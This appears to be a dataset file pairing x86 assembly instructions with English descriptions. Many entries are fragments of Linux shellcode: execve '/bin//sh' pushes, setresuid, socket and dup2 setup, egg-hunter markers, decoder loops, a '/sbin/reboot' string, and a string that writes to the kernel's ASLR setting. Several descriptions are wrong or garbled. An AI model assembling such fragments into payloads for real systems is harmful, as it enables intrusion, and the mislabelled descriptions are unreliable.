| mov bl, byte [edi] move the byte in edi into bl
|
| mov bl, byte [edi] move the byte at the address [edi] into bl
|
| mov bl, byte [edi] get the byte from edi and save it in bl
|
| mov bl, byte [esi + eax + 1] copy the byte in memory at the address [esi + eax + 1] in bl register
|
| mov bl, byte [esi + eax + 1] move the byte starting at the address [esi + eax + 1] into the bl register
|
| mov bl, byte [esi + eax + 1] move the byte at the address esi + eax +1 into bl
|
| mov bl, byte [esi + eax + 1] \n mov byte [edi], bl put the byte in the address esi+eax+1 to the first character pointed by edi.
|
| mov bl, byte [esi + eax] copy the byte in memory at the address [esi+eax] in bl register
|
| mov bl, byte [esi + eax] move the byte at the address esi + eax into bl
|
| mov bl, byte [esi + edi] move the byte at the address esi+edi into bl
|
| mov bl, byte [esi + edx + 1] save the byte in esi+edx+1 in bl
|
| mov bl, byte [esi] move the byte in esi into bl
|
| mov bl, byte [esi] move the byte at the address [esi] into bl
|
| mov bl, byte [esi] get the byte from esi and save it in bl
|
| mov bl, byte [esi+eax*1] move the byte at the address esi+eax*1 into bl
|
| mov bl, byte [esi+eax*1+0x1] \n mov byte [edi], bl move the byte at the address esi+eax*1+0x1 into bl and move bl into the byte in edi
|
| mov bl, byte [esi+ecx+1] copy the byte in memory at the address esi+ecx+1 into bl register
|
| mov bl, byte [esi+ecx+1] move the byte at the address [esi+ecx+1] into bl
|
| mov bl, byte [esi+ecx+1] move the byte in esi+ecx+1 into bl
|
| mov bl, byte [esi+ecx+1] \n sub bl, 0x7 move the byte at the address in [esi+ecx+1] in bl and subtract 0x7 from bl
|
| mov bl, byte 0eh move the byte 0eh into bl
|
| mov bl, byte 0eh move the byte at the address 0eh into bl
|
| mov bl, byte[edi] copy the byte contained into edi register in bl register
|
| mov bl, byte[esi] transfer the byte in the address esi to bl regsiter
|
| mov bl, cl backup the contents of cl into bl
|
| mov bl, cl move cl into bl
|
| mov bl, dl move dl into bl
|
| mov bl,0x1 copy the value 1 into bl register
|
| mov bl,0x1 move the value 0x1 content into bl register
|
| mov bl,0x2 copy 0x2 into bl register
|
| mov bl,0x3 load 0x3 into bl register
|
| mov bl,0x4 copy 0x4 into bl register
|
| mov bl,1 load 1 into al register
|
| mov bl,1 save socket command, 1, into bl register
|
| mov bl,byte ptr [esi+eax*1] copy the byte at the adress esi+eax*1 into bl register
|
| mov bl,byte ptr [esi+eax*1+0x1] \n mov byte ptr [edi],bl copy the byte at the adress esi+eax*1+0x1 into the byte at the adress edi
|
| mov bl,dl copy the dl content into bl register
|
| mov bx, [esi] copy esi content into bx register
|
| mov bx, [esi] move the contents of the address stored in esi into the bx register
|
| mov bx, [esi] move the contents of the esi register into the bx register
|
| mov bx, 1666 move 1666 into bx
|
| mov bx, 18 get 18 in the bx register
|
| mov bx, 20 move the value 20 into bx
|
| mov bx, word_value move memory word_value to register bx
|
| mov byte [eax], dl move dl into the byte in eax
|
| mov byte [eax], dl move dl to the byte pointed by the contents of eax
|
| mov byte [eax], dl move dl into the byte at address [eax]
|
| mov byte [ebx + 35], al move al into the byte at address [ebx + 35]
|
| mov byte [ebx + 35],al copy al content into memory space at the adress ebx+35
|
| mov byte [ebx + 35],al save al content into the space memory at the address ebx+35
|
| mov byte [ebx], 2 move 2 into the single byte at the address stored in ebx
|
| mov byte [ecx], 2 move 2 into the single byte at memory location ecx
|
| mov byte [ecx+92], dl move dl into the byte at address [ecx+92]
|
| mov byte [ecx+92], dl move dl into the single byte at the address stored in ecx+92
|
| mov byte [ecx+92],dl replace r char with 0x0a
|
| mov byte [edi], bl copy the byte contained in bl register to the memory adress edi
|
| mov byte [edi], bl move the the contents of the bl register into the byte starting at the address in edi
|
| mov byte [edi], bl put the value of bl to the position of edi
|
| mov byte [edi], bl move bl into the byte in edi
|
| mov byte [edi], bl \n not byte [edi] move bl into the byte in edi and negate the result
|
| mov byte [edi], bl \n xor byte [edi], 0xdd move bl into the byte in edi and perform xor operation with 0xdd
|
| mov byte [edx + eax], bl move bl into the byte at address [edx + eax]
|
| mov byte [edx + eax], bl move bl into the byte at the address edx + eax
|
| mov byte [edx + eax], bl move bl into the byte in edx + eax
|
| mov byte [edx+eax], bl move bl into byte edx+eax
|
| mov byte [edx+ecx],al move al into the single byte at the address stored in edx+ecx
|
| mov byte [esi + 1], dl move the contents of dl into the byte at the memory location specified by the operation [esi+1]
|
| mov byte [esi + 1], dl move dl into the byte in esi+1
|
| mov byte [esi + 1], dl move dl into the byte at address [esi + 1]
|
| mov byte [esi + eax], bl move bl into the byte defined by the address esi + eax
|
| mov byte [esi], al move al into the byte in esi
|
| mov byte [esi], bl transfer decode value from bl to esi register
|
| mov byte [esi], bl move bl into the byte at address [esi]
|
| mov byte [esi], dl move dl into the byte in esi
|
| mov byte [esi+10], al move al into the byte at address [esi+10]
|
| mov byte [esi+11], al move al into the byte at address [esi+11]
|
| mov byte [esi+12], al move al into the byte at address [esi+12]
|
| mov byte [esi+14], al move al into the byte at address [esi+14]
|
| mov byte [esi+14],al move the contents of al into the byte at the memory location specified by the operation [esi+14]
|
| mov byte [esi+17], al move al into the byte at address [esi+17]
|
| mov byte [esi+17],al move the contents of al into the byte at the memory location specified by the operation [esi+17]
|
| mov byte [esi+21], al move al into the byte at address [esi+21]
|
| mov byte [esi+7], al terminate string, str[7] = null
|
| mov byte [esi+7], al move al into the byte at address [esi+7]
|
| mov byte [esi+ecx], bl copy bl content into the byte at the adress esi+ecx
|
| mov byte [esi+ecx], bl move bl into the byte at address [esi+ecx]
|
| mov byte [esi+ecx], bl move bl into the single byte at the address stored in esi+ecx
|
| mov byte [esi+ecx], bl move bl into the byte in esi+ecx
|
| mov byte [esp + eax + 1], cl move cl into the byte in esp+eax+1
|
| mov byte [esp + eax + 2], bh move bh into the byte in esp+eax+2
|
| mov byte [esp + eax + 3], bl move bl into the byte in esp+eax+3
|
| mov byte [esp + eax], ch move ch into the byte in esp+eax
|
| mov byte [esp], 0x0a move 0x0a into the byte at address [esp]
|
| mov byte [esp], 0x2e move 0x2e into the byte at address [esp]
|
| mov byte [esp], 0x2e move 0x2e into the byte in esp
|
| mov byte [esp], 0x2f move 0x2f into the byte at address [esp]
|
| mov byte [esp], 0x2f move 0x2f into the byte in esp
|
| mov byte [esp], 0x7f move 0x7f into the byte at address [esp]
|
| mov byte [esp], 0x7f \n mov byte [esp+3],0x01 move ip address 127.0.0.1 into esp register
|
| mov byte [esp+2], 0x07 move 0x07 into the byte at address [esp+2]
|
| mov byte [esp+3], 0x01 move 0x01 into the byte at address [esp+3]
|
| mov byte [esp+3], 0x11 move 0x11 into the byte at address [esp+3]
|
| mov byte [hexstr+edx+1],bl move a byte from bl into memory address hexstr+edx+1
|
| mov byte [hexstr+edx+2],al move a byte from al into memory address hexstr+edx+2
|
| mov byte [var], 5 store the value 5 into the byte at memory location var
|
| mov byte al, 0x0b load __nr_ execve = 0x0b into al register as a byte
|
| mov byte al, 0x0b move 0x0b into the byte at address al
|
| mov byte al, 0x3f move 0x3f into the byte at address al
|
| mov byte al, 0x3f move 0x3f into the byte in al
|
| mov byte al, 0xa4 setresuid syscall 164 (0xa4)
|
| mov byte al, 0xa4 move 0xa4 into the byte at address al
|
| mov byte al, 0xa4 move 0xa4 into the byte in al
|
| mov byte al, 11 move 11 into the byte at address al
|
| mov byte al, 83 move 83 into the byte at address al
|
| mov byte cl, 7 set counter to 7 and save it in cl register
|
| mov byte cl, 7 move 7 into the byte at address cl
|
| mov byte ptr [esi+0xb],bl copy the byte in bl register to the spae in memory at the address esi+0xb
|
| mov byte[edx + eax], bl copy bl contents in the byte at the address edx+eax
|
| mov ch, 0x4 copy the value 0x4 into ecx
|
| mov ch, 0x4 move 0x4 into ch
|
| mov ch, byte [esi + edx + 4] save the byte in esi+edx+4 in ch
|
| mov ch,0x4 copy the hexadecimal value 0x4 in ch register
|
| mov ch,0x5 move hexadecimal value 0x5 to ch register
|
| mov cl, 0102 move 0102 into cl
|
| mov cl, 077o move 077o into cl
|
| mov cl, 0x1 load 1 into cl regisetr
|
| mov cl, 0x1 set cl to the fd of stdout = 1
|
| mov cl, 0x1 move 0x1 into cl
|
| mov cl, 0x1e move 0x1e into cl
|
| mov cl, 0x2 move 2 in cl regsiter
|
| mov cl, 0x2 creat a countre moving the value 2 into cl register
|
| mov cl, 0x2 push 2 into cl register
|
| mov cl, 0x2 copy 0x2 into cl register
|
| mov cl, 0x2 initiate the loop-counter to 2
|
| mov cl, 0x2 load the value 0x2 into cl register
|
| mov cl, 0x2 set cl to the stderr fd = 2
|
| mov cl, 0x2 move 0x2 into cl
|
| mov cl, 0x2 move the value 0x2 into the cl register
|
| mov cl, 0x3 copy 3 into cl register
|
| mov cl, 0x3 move 0x3 into cl
|
| mov cl, 10 move 10 into the first byte of the counter
|
| mov cl, 10 \n dec cl \n jnz l1 move the value 10 into the cl register then decrement the contents of the cl register and jump to the l1 label if the result is not zero
|
| mov cl, 100 move 100 into cl
|
| mov cl, 128 move 128 into cl
|
| mov cl, 13 load the value 13 on cl register
|
| mov cl, 13 move 13 to cl
|
| mov cl, 13 move 13 into cl
|
| mov cl, 2 copy 2 into cl register
|
| mov cl, 2 inizialize counter ecx=2
|
| mov cl, 2 move 2 into cl
|
| mov cl, 21 copy 21 into cl register
|
| mov cl, 21 move 21 into cl
|
| mov cl, 25 transfer the decimal value 25 in cl register
|
| mov cl, 3 counter to loop 3 times
|
| mov cl, 3 move 3 into cl
|
| mov cl, 30 move 30 into cl
|
| mov cl, 30 move 30 to the cl register
|
| mov cl, 32 move 32 into cl
|
| mov cl, 4 transfer 4 into cl
|
| mov cl, 4 move 4 value into cl register that represents the counter
|
| mov cl, 4 loop 4 times
|
| mov cl, 9 move 9 into cl
|
| mov cl, al move al into cl
|
| mov cl, al put the contents of the al into the cl register
|
| mov cl, al backup al into cl
|
| mov cl, bl \n sub cl, 1 \n jnz loop move the contents of the bl register into the contents of the cl register then subtract the value 1 from the cl register and jump to the loop label if the result is not zero
|
| mov cl, byte [eax] move the byte in eax into cl
|
| mov cl, byte [eax] move the byte in eax to cl
|
| mov cl, byte [eax] move the byte at the address [eax] into cl
|
| mov cl, byte [esi + edx + 3] save the byte in esi+edx+3 in cl
|
| mov cl, byte [esi] move the byte at the address [esi] into cl
|
| mov cl, byte [esi] move the byte in esi into cl
|
| mov cl, byte_table[2] move the 3rd element of the array byte_table into cl
|
| mov cl, byte_table+2 move the 3rd element of the byte_table into cl
|
| mov cl, dl move dl into cl
|
| mov cl, len initialize counter cl to shellcode lenght
|
| mov cl, len move len into cl
|
| mov cl, shellcode_length save shellcode_lenght = 25 into cl register
|
| mov cl, shellcode_length move shellcode_length into cl
|
| mov cl, shellcodelen set the loop counter to shellcodelen into cl register
|
| mov cl, shellcodelen move shellcodelen into cl
|
| mov cl,0x19 copy hexadecimal value 0x19 to cl register
|
| mov cl,0x19 copy hexadeciaml value 0x19 into cl register
|
| mov cl,0x2 move the value 2 into cl register
|
| mov cl,0x2 load hexadecimal value 0x2 into cl register
|
| mov cl,0x3 move the value 0x3 in cl register
|
| mov count, bx move bx to count
|
| mov cx, [esi] move the contents of the esi register into the cx register
|
| mov cx, 01 initialize cx to 01
|
| mov cx, 02001 move 02001 into cx
|
| mov cx, 0666 move 0666 into cx
|
| mov cx, 0700 move 0700 into cx
|
| mov cx, 0x191 move 0x191 into cx
|
| mov cx, 0x1ff store hexadecimal value of Ô777Õ in cx
|
| mov cx, 0x1ff load hexadecimal value 0x1ff into cx register
|
| mov cx, 0x1ff move 0x1ff into cx
|
| mov cx, 0x2bc move 0x2bc into cx
|
| mov cx, 0x301 move the value 0x301 into the cx register
|
| mov cx, 0x3b30 mov the value 0x3b30 into the cx register
|
| mov cx, 0x401 move 0x401 into cx
|
| mov cx, 0x5309 move 0x5309 into cx
|
| mov cx, 0x9ed copy the value 4755 into cx register
|
| mov cx, 0x9ed move 0x9ed into cx
|
| mov cx, 0xfff move 0xfff into cx
|
| mov cx, 2001 move 2001 into cx
|
| mov cx, 2001q set flag o_wronly and o_append
|
| mov cx, 2001Q move 2001Q into cx
|
| mov cx, word_table + 3 move the 4th element of the word_table into cx
|
| mov cx, word_table[3] move the 4th element of the array word_table into cx
|
| mov cx,[esi] copy esi content into cx register
|
| mov cx,0x2bc move the hexadecimal value 0x2bc (700) to cx register
|
| mov cx,0x2bc load hexadecimal value 0x2bc into cx register
|
| mov cx,0x301 put 769 in cx
|
| mov cx,0x3b30 \n push cx put 15152 into cx regsiter, then push it on the stack
|
| mov cx,0x401 transfer hexadecimal value 0x401 into cx register
|
| mov dh, 0x35 copy the hexadecimal value 0x35 in dh register
|
| mov dh, 0x35 move 0x35 into dh
|
| mov dh, 0xff move 0xff into dh
|
| mov dh,0x4a copy hexadecimal value 0x4a into dh register
|
| mov dl, [esi-1] move the address of esi-1 into dl
|
| mov dl, [esi-1] move the previous byte of the shellcode to dl
|
| mov dl, [esi+1] move the contents of dl into the next byte of the shellcode
|
| mov dl, 0ffh copy hexadecimal value 0xff in dl register
|
| mov dl, 0x01 move 0x01 into dl
|
| mov dl, 0x02 move 0x02 into dl
|
| mov dl, 0x09 move 0x09 into dl
|
| mov dl, 0x1 move 0x1 into dl
|
| mov dl, 0x10 load 0x10 into dl register
|
| mov dl, 0x10 copy 0x10 into dl register
|
| mov dl, 0x10 load 0x10 into cl register
|
| mov dl, 0x10 move 0x10 into dl
|
| mov dl, 0x14 move 0x14 into dl
|
| mov dl, 0x16 move value 0x16 to dl register
|
| mov dl, 0x1c transfer the hexadecimal value 0x1c (28) into dl register
|
| mov dl, 0x1c move 0x1c into dl
|
| mov dl, 0x2 move 0x2 into dl
|
| mov dl, 0x20 move 0x20 into dl
|
| mov dl, 0x45 move 0x45 to dl
|
| mov dl, 0x7f move 0x7f into dl
|
| mov dl, 0x7f \n push edx lad ip address 127.0.0.1 (hex) as a byte into edx register then push it onto the stack
|
| mov dl, 0xc move 0xc into dl
|
| mov dl, 0xd set dl equal to 13
|
| mov dl, 0xd move 0xd into dl
|
| mov dl, 0xff move 0xff into dl
|
| mov dl, 0xff move 0xff to dl
|
| mov dl, 1+0feh copy hexadecimal value 1+0xfe in dl register
|
| mov dl, 1+0feh move 1+0feh into dl
|
| mov dl, 93 move 93 into dl
|
| mov dl, byte [eax + 1] move the byte at the memory location specified by the operation [eax+1] into dl
|
| mov dl, byte [eax + 1] move the byte at address eax+1 to dl
|
| mov dl, byte [eax + 1] move the byte at the address [eax + 1] into dl
|
| mov dl, byte [eax] move the byte at address eax to dl
|
| mov dl, byte [eax] move the byte at the address [eax] into dl
|
| mov dl, byte [eax] move the byte in eax into dl
|
| mov dl, byte [esi + 1] move the singl byte at the memory location specified by the operation [esi+1] into dl
|
| mov dl, byte [esi + 1] move the contents of the address esi+1 into dl
|
| mov dl, byte [esi + 1] move the byte at the address [esi + 1] into dl
|
| mov dl, byte [esi + edi + 1] move the byte at the address esi+edi+1 into dl
|
| mov dl, byte [esi] move the single byte in esi into dl
|
| mov dl, byte [esi] put the byte in esi into dl
|
| mov dl, byte 0ffh move the byte 0ffh into dl
|
| mov dl, byte 0ffh move the byte at the address 0ffh into dl
|
| mov dl, len put lenght of encodedshellcode to dl
|
| mov dl, len move the contents stored at the address len into the dl register
|
| mov dl,0x09 move the value $0x09 into dl
|
| mov dl,0x1 load the value 1 into dl register
|
| mov dl,0xff align page address
|
| mov dl,93 save in dl register the len of the buffer to write, 4th arg
|
| mov ds:0x9501bb9b,eax save at location ds:0x9501bb9b eax content
|
| mov dword [eax], var1 copy the value in var1 into the doubleword starting at the address in eax
|
| mov dword [ebx], 2 move the 32-bit integer representation of 2 into the doubleword starting at the address in ebx
|
| mov dword [ebx], 4 move the 32-bit integer representation of 4 into the doubleword starting at address ebx
|
| mov dword [esi + 12], eax replace last double word with null
|
| mov dword [esi + 12], eax move eax into the dword at address [esi + 12]
|
| mov dword [esi + 8], ebx replace first double word with string
|
| mov dword [esi + 8], ebx move ebx into the dword at address [esi + 8]
|
| mov dword [esp-0x10], 0x5f657a69 move the value 0x5f657a69 into the double word starting at the address [esp-0x10]
|
| mov dword [esp-0x14], 0x6d6f646e move the value 0x6d6f646e into the double word starting at the address [esp-0x14]
|
| mov dword [esp-0x18], 0x61722f6c move the value 0x61722f6c into the double word starting at the address [esp-0x18]
|
| mov dword [esp-0x1c], 0x656e7265 move the value 0x656e7265 into the double word starting at the address [esp-0x1c]
|
| mov dword [esp-0x20], 0x6b2f7379 move the value 0x6b2f7379 into the double word starting at the address [esp-0x20]
|
| mov dword [esp-0x24], 0x732f636f move the value 0x732f636f into the double word starting at the address [esp-0x24]
|
| mov dword [esp-0x28], 0x72702f2f move the value 0x72702f2f into the double word starting at the address [esp-0x28]
|
| mov dword [esp-0x4], eax move the contents of the eax into the double word starting at the address [esp-0x4]
|
| mov dword [esp-0x4],eax \n mov dword [esp-0x8],0x65636170 \n mov dword [esp-0xc],0x735f6176 \n mov dword [esp-0x10],0x5f657a69 \n mov dword [esp-0x14],0x6d6f646e \n mov dword [esp-0x18],0x61722f6c \n mov dword [esp-0x1c],0x656e7265 \n mov dword [esp-0x20],0x6b2f7379 \n mov dword [esp-0x24],0x732f636f \n mov dword [esp-0x28],0x72702f2f \n sub esp,0x28 \n mov ebx,esp push the string
|
| mov dword [esp-0x8], 0x65636170 move the value 0x65636170 into the double word starting at the address [esp-0x8]
|
| mov dword [esp-0xc], 0x735f6176 move the value 0x735f6176 into the double word starting at the address [esp-0xc]
|
| mov dword [esp-12], 0x6374652f move 0x6374652f into the dword at address [esp-12]
|
| mov dword [esp-12], 0x6374652f move 0x6374652f into the dword at the memory location [esp-12]
|
| mov dword [esp-4], ecx copy ecx content as a double word into memory space at the address esp-4
|
| mov dword [esp-4], ecx move ecx into the doubleword starting at the address esp-4
|
| mov dword [esp-4], esi copy esi content as a double word into memory sapce at the address esp-4
|
| mov dword [esp-4], esi move esi into the dword at address [esp-4]
|
| mov dword [esp-4], esi move the contents of the esi register into the dword at the memory location [esp-4]
|
| mov dword [esp-4], esi move esi into the doubleword starting at the address esp-4
|
| mov dword [esp-8], 0x68732f2f move 0x68732f2f into the dword at address [esp-8]
|
| mov dword [esp-8], 0x68732f2f move 0x68732f2f into the dword at the memory location [esp-8]
|
| mov dword [esp-8], edi copy edi content as a double word into memory space at the address esp-8
|
| mov dword [esp-8], edi move edi into the doubleword starting at the address esp-8
|
| mov dword ptr [edx-0x55af551d],ebp \n mov dword ptr [edx-0x55ac551e],ebp \n mov dword ptr [edx-0x554f551f],ebp copy ebp content into double word at the addresses edx-0x55af551d, edx-0x55ac551e, edx-0x554f551f
|
| mov dword ptr [esi+0x10],ebx copy the double word in ebx register into the memory space at the address esi+0x10
|
| mov dword ptr [esi+0xc],esi copy the double word in esi register into the space memory at the address esi+0xc
|
| mov dword ptr [esp-0x4],edi copy edi content into the memory space at the address esp-0x4
|
| mov dword ptr [esp-0x8],edi copy edi content into the memory space at the address esp-0x8
|
| mov dx, 0x1a4 set read-write permission for the owner of the file, and read permission for everyone else
|
| mov dx, 0x1a4 move 0x1a4 into dx
|
| mov dx, 0x2a1 move the value 0x2a1 into the dx register
|
| mov dx, 0xb01 move 0xb01 into dx
|
| mov dx, 0xfff \n inc dx load hecadecimal value 0xfff into dx register then increment dx content by 1
|
| mov dx, 1222 move 1222 into dx
|
| mov dx, 132 move the deciaml value 132 in dx register
|
| mov dx, 132 move 132 into dx
|
| mov dx, 16666 move 16666 into dx
|
| mov dx,0x2a1 put 673 in dx
|
| mov dx,0x3a30 load Ô:0Õ into dx register
|
| mov dx,0xb01 move the hexadecimal value 0xb01 to dx register
|
| mov eax, _start set a valid .text address, Ô_startÕ into eax
|
| mov eax, _start move _start into eax
|
| mov eax, [ebp+8] move value of memory address [ebp+8] into eax
|
| mov eax, [ebx] move the 4 bytes in memory at the address contained in ebx into eax
|
| mov eax, [ebx+8] copy the 4 byte at memory location specified by the the result of the operation ebx+8 into eax register
|
| mov eax, [ebx+epi*4+2] move the contents of memory address ebx+epi*4+2 into eax
|
| mov eax, [ebx+esi] move the contents of memory address ebx+esi into eax
|
| mov eax, [ebx+esi*2+4] move the contents of memory address ebx+esi*2+4 into eax
|
| mov eax, [esi-4] move 4 bytes at memory address esi-4 into eax
|
| mov eax, [esp] move the contents of memory address esp into eax
|
| mov eax, [esp+4] move the value of register at address esp+4 and store into eax
|
| mov eax, [temp] move the contents at memory specified by temp into eax
|
| mov eax, [temp1] move the contents at memory address temp1 to eax
|
| mov eax, [x] move the contents at memory specified by x to eax
|
| mov eax, [y] move the contents at memory address y to eax
|
| mov eax, [y] move the contents at memory specified by y to eax
|
| mov eax, [z] move the contents at memory specified by z to eax
|
| mov eax, 0ah move 0ah into eax
|
| mov eax, 0ah move an ascii linefeed character into eax
|
| mov eax, 0ah move linefeed character into eax
|
| mov eax, 0x2e323931 move 0x2e323931 into eax
|
| mov eax, 0x2e383631 move 0x2e383631 into eax
|
| mov eax, 0x2f3e20 move 0x2f3e20 into eax
|
| mov eax, 0x2f766564 move 0x2f766564 into eax
|
| mov eax, 0x31263e32 move 0x31263e32 into eax
|
| mov eax, 0x31263e32 \n mov eax, 0x6c6c756e \n mov eax, 0x2f766564 \n mov eax, 0x2f3e20 \n mov eax, 0x782f2f \n mov eax, 0x33392e31 \n mov eax, 0x2e383631 \n mov eax, 0x2e323931 \n push eax \n mov ecx,esp load the string 192.168.1.93
|
| mov eax, 0x33392e31 move 0x33392e31 into eax
|
| mov eax, 0x3f move 0x3f into eax
|
| mov eax, 0x5 move 5 into eax
|
| mov eax, 0x50905090 store egg (0x50905090) in eax
|
| mov eax, 0x50905090 move 0x50905090 into eax
|
| mov eax, 0x563ed8b7 move 0x563ed8b7 into eax
|
| mov eax, 0x563ed8b7 \n add eax, 0x12345678 \n push eax push Ô
|
| mov eax, 0x66 move 0x66 into eax
|
| mov eax, 0x6c6c756e move 0x6c6c756e into eax
|
| mov eax, 0x782f2f move 0x782f2f into eax
|
| mov eax, 0x8000 move the 32-bit value 0x8000 into register eax
|
| mov eax, 0x8b90909d move 0x8b90909d into eax
|
| mov eax, 0x8b90909d \n not eax \n push eax \n mov eax, 0x9a8dd091 \n not eax \n push eax \n mov eax, 0x969d8cd0 \n not eax \n push eax \n xor eax, eax put the string /sbin/reboot on the stack through eax register then clear it
|
| mov eax, 0x969d8cd0 move 0x969d8cd0 into eax
|
| mov eax, 0x9a8dd091 move 0x9a8dd091 into eax
|
| mov eax, 0xb33fb33f move 0xb33fb33f into eax
|
| mov eax, 0xdeadc0de move 0xdeadc0de into eax
|
| mov eax, 0xdeadc0de \n sub eax, 0x70445eaf \n push eax push Ô/binÕ on stack
|
| mov eax, 0xfeffff80 copy hexadecimal value 0xfeffff80 into eax register
|
| mov eax, 0xfeffff80 move 0xfeffff80 into eax
|
| mov eax, 0xffffffff move 0xffffffff into eax
|
| mov eax, 0xffffffff \n not eax \n push eax move the value -1 in eax register then do the one's complement negation of eax end then push it on the stack
|
| mov eax, 1 code for exit syscall
|
| mov eax, 1 exit
|
| mov eax, 1 invoke sys_exit
|
| mov eax, 1 make the system call exit
|
| mov eax, 1 make the system call for exit
|
| mov eax, 1 make the system call to terminate the process
|
| mov eax, 1 move 1 into eax
|
| mov eax, 1 move the value one into eax
|
| mov eax, 1 specify exit syscall
|
| mov eax, 1 system call exit
|
| mov eax, 1 terminate the process
|
| mov eax, 1 \n int 80h execute __nr_exit sycall
|
| mov eax, 10 invoke sys_unlink
|
| mov eax, 10 move 10 into eax
|
| mov eax, 10000h move 10000h into eax register
|
| mov eax, 102 invoke sys_socketcall
|
| mov eax, 106 get information about the file
|
| mov eax, 106 make the system call stat
|
| mov eax, 106 make the system call to get information about the file
|
| mov eax, 106 stat
|
| mov eax, 106 system call stat
|
| mov eax, 11 execve
|
| mov eax, 11 invoke sys_execve
|
| mov eax, 11 load and run the program
|
| mov eax, 11 make the system call execve
|
| mov eax, 11 make the system to load and run the program
|
| mov eax, 11 system call execve
|
| mov eax, 13 invoke sys_time
|
| mov eax, 132 move 132 to eax 132
|
| mov eax, 19 go to file offset
|
| mov eax, 19 invoke sys_lseek
|
| mov eax, 19 lseek
|
| mov eax, 19 make the system call lseek
|
| mov eax, 19 make the system call to go to the file offset
|
| mov eax, 19 system call lseek
|
| mov eax, 2 create a new process
|
| mov eax, 2 fork
|
| mov eax, 2 invoke sys_fork
|
| mov eax, 2 make the system call fork
|
| mov eax, 2 make the system call to create a new process
|
| mov eax, 2 move the value two into eax
|
| mov eax, 2 system call fork
|
| mov eax, 20 get the process ID
|
| mov eax, 20 getpid
|
| mov eax, 20 make the system call getpid
|
| mov eax, 20 make the system call to get the process ID
|
| mov eax, 20 system call getpid
|
| mov eax, 21 get 21 in the eax register
|
| mov eax, 27 alarm
|
| mov eax, 27 make the system call alarm
|
| mov eax, 27 make the system call to set set signal delivery alarm clock
|
| mov eax, 27 set signal delivery alarm clock
|
| mov eax, 27 system call alarm
|
| mov eax, 29 make the system call pause
|
| mov eax, 29 make the system call to suspend the process
|
| mov eax, 29 pause
|
| mov eax, 29 suspend the process until the signal arrives
|
| mov eax, 29 system call pause
|
| mov eax, 3 invoke sys_read
|
| mov eax, 3 make the system call read
|
| mov eax, 3 make the system call to read the file
|
| mov eax, 3 move 3 to the eax register
|
| mov eax, 3 read
|
| mov eax, 3 read the file
|
| mov eax, 3 specify sys_read call
|
| mov eax, 3 system call read
|
| mov eax, 37 kill
|
| mov eax, 37 make the system call kill
|
| mov eax, 37 make the system call to send the signal to another process
|
| mov eax, 37 send signal to another process
|
| mov eax, 37 system call kill
|
| mov eax, 4 invoke sys_write
|
| mov eax, 4 make the system call for write
|
| mov eax, 4 make the system call to write to the file
|
| mov eax, 4 make the system call write
|
| mov eax, 4 move 4 into eax
|
| mov eax, 4 move 4 to the eax register
|
| mov eax, 4 specify sys_write call
|
| mov eax, 4 specify sys_write syscall
|
| mov eax, 4 system call write
|
| mov eax, 4 write
|
| mov eax, 4 write to the file
|
| mov eax, 48 install signal handel
|
| mov eax, 48 make the system call signal
|
| mov eax, 48 make the system call to install the signal handler
|
| mov eax, 48 signal
|
| mov eax, 48 system call signal
|
| mov eax, 5 invoke sys_open
|
| mov eax, 5 make the system call open
|
| mov eax, 5 make the system call to open the file
|
| mov eax, 5 open
|
| mov eax, 5 open the file
|
| mov eax, 5 system call open
|
| mov eax, 6 close
|
| mov eax, 6 close the file
|
| mov eax, 6 invoke sys_close
|
| mov eax, 6 make the system call close
|
| mov eax, 6 make the system call to close the file
|
| mov eax, 6 system call close
|
| mov eax, 63 copy file descriptor
|
| mov eax, 63 dup2
|
| mov eax, 63 make the system call dup2
|
| mov eax, 63 make the system call to copy the file descriptor
|
| mov eax, 63 system call dup2
|
| mov eax, 64 get the parent process ID
|
| mov eax, 64 getppid
|
| mov eax, 64 make the system call getppid
|
| mov eax, 64 make the system call to get the parent process ID
|
| mov eax, 64 system call getppid
|
| mov eax, 65 get process group
|
| mov eax, 65 getpgrp
|
| mov eax, 65 make the system call getpgrp
|
| mov eax, 65 make the system call to get the process group
|
| mov eax, 65 system call getpgrp
|
| mov eax, 67 install portable signal handler
|
| mov eax, 67 make the system call sigaction
|
| mov eax, 67 make the system call to install portable signal handler
|
| mov eax, 67 sigaction
|
| mov eax, 67 system call sigaction
|
| mov eax, 7 make the system call to wait for child for terminate
|
| mov eax, 7 make the system call waitpid
|
| mov eax, 7 system call waitpid
|
| mov eax, 7 wait for child to terminate
|
| mov eax, 7 waitpid
|
| mov eax, 8 invoke sys_creat
|
| mov eax, 90 make the system call mmap
|
| mov eax, 90 make the system call to map the memory page to a file
|
| mov eax, 90 map the memory page to a file
|
| mov eax, 90 mmap
|
| mov eax, 90 move decimal number 90 into eax
|
| mov eax, 90 system call mmap
|
| mov eax, addr retrieve a valid address saving it into eax
|
| mov eax, addr move addr into eax
|
| mov eax, array[esi*4] move the contents of memory address array+esi*4 into eax
|
| mov eax, b move b to eax
|
| mov eax, buff move buff to eax
|
| mov eax, buffer move the memory address of buffer variable into eax
|
| mov eax, buzz move the address of buzz string into eax
|
| mov eax, c move c to eax
|
| mov eax, childmsg move childmsg into eax
|
| mov eax, ebx backup ebx into eax
|
| mov eax, ebx copy the contents of ebx into eax register
|
| mov eax, ebx copy what is in ebx into eax
|
| mov eax, ebx move ebx to eax
|
| mov eax, ebx move the address in ebx into eax
|
| mov eax, ebx transfer ebx to eax
|
| mov eax, ecx move the value in ecx into eax
|
| mov eax, ecx move the value of ecx into eax
|
| mov eax, edi move edi into eax
|
| mov eax, edi move edi to eax
|
| mov eax, edx copy edx content into eax register
|
| mov eax, edx move edx into eax
|
| mov eax, edx move the remainder into eax
|
| mov eax, esi move esi into eax
|
| mov eax, esi \n inc eax load 4 into eax
|
| mov eax, esp move stack pointer to eax
|
| mov eax, esp move the address of the current stack pointer into eax
|
| mov eax, filecontents move the memory address of filecontents variable into eax
|
| mov eax, fizz move the address of fizz string into eax
|
| mov eax, key move key into eax
|
| mov eax, key \n mov edi, edx copy key into eax and edx in edi
|
| mov eax, m_src move m_src to eax
|
| mov eax, msg move the address of msg string into eax
|
| mov eax, msg1 move msg1 string into eax
|
| mov eax, msg1 move the address of msg1 into eax
|
| mov eax, msg2 move the address of msg2 into eax
|
| mov eax, msg3 move the address of msg3 into eax
|
| mov eax, mxcsr move mxcsr to eax
|
| mov eax, n_src move n_src to eax
|
| mov eax, parentmsg move parentmsg into eax
|
| mov eax, response move address of response variable into eax
|
| mov eax, type var4 move the number of bytes of var4 into eax
|
| mov eax,0x50905090 moving egg=0x50905090
|
| mov ebp, buff place address of buffer into ebp
|
| mov ebp, eax move eax to ebp
|
| mov ebp, ecx move ecx into ebp
|
| mov ebp, esp save esp content into ebp
|
